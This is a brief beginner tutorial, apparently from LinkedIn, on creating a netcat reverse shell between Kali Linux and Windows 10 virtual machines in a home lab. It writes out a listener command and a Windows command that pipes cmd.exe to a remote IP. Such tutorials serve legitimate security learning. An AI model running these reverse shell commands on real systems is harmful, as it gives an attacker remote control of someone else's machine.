How to create a reverse shell between Kali Linux and Windows 10

How to create a reverse shell between Kali Linux and Windows 10

Let's suppose you have followed previous articles:

First this:

https://www.dhirubhai.net/posts/moji-mich_kalilinux-pentesting-netcat-activity-7106224067665350656-X2cw?utm_source=share&utm_medium=member_desktop


And then this:

https://www.dhirubhai.net/posts/moji-mich_netcat-kalilinux-windows10-activity-7107471193464549378-BiTj?utm_source=share&utm_medium=member_desktop


Now we want to create a shell between two virtual machines such that we can run commands from Kali Linux into Windows 10. and this type of shell is called reverse shell.

All the requirements of previous article is needed for this tutorial, and this is the following article of this one:

https://www.dhirubhai.net/posts/moji-mich_netcat-kalilinux-windows10-activity-7107471193464549378-BiTj?utm_source=share&utm_medium=member_desktop


OK.

Step 1:

In Kali Linux enter this command:

nc -nlvp 1234        

(If you have followed previous article, you should know what are these flags.)


Step 2:

In Windows 10 virtual machine, go to the directory where you have downloaded the nc.exe (see previous tutorial) and open CMD in there and type this command:

nc.exe -nv 192.168.10.10 1234 -e cmd.exe

My Kali Linux ip address is 192.168.10.10 so I have entered it above.


Step 3:

Now, if you go back to Kali Linux virtual machine you will see something like this in the terminal:

And as you can see the shell has been opened, and now you can run Windows commands in the Kali Linux terminal and watching your commands being executed on Windows 10 virtual machine.

For example let's run below command in the Kali Linux terminal:

dir

You can see the it successfully returned the list of directories of Windows 10 virtual machine.




要查看或添加评论,请登录

MJ Michael的更多文章

社区洞察

其他会员也浏览了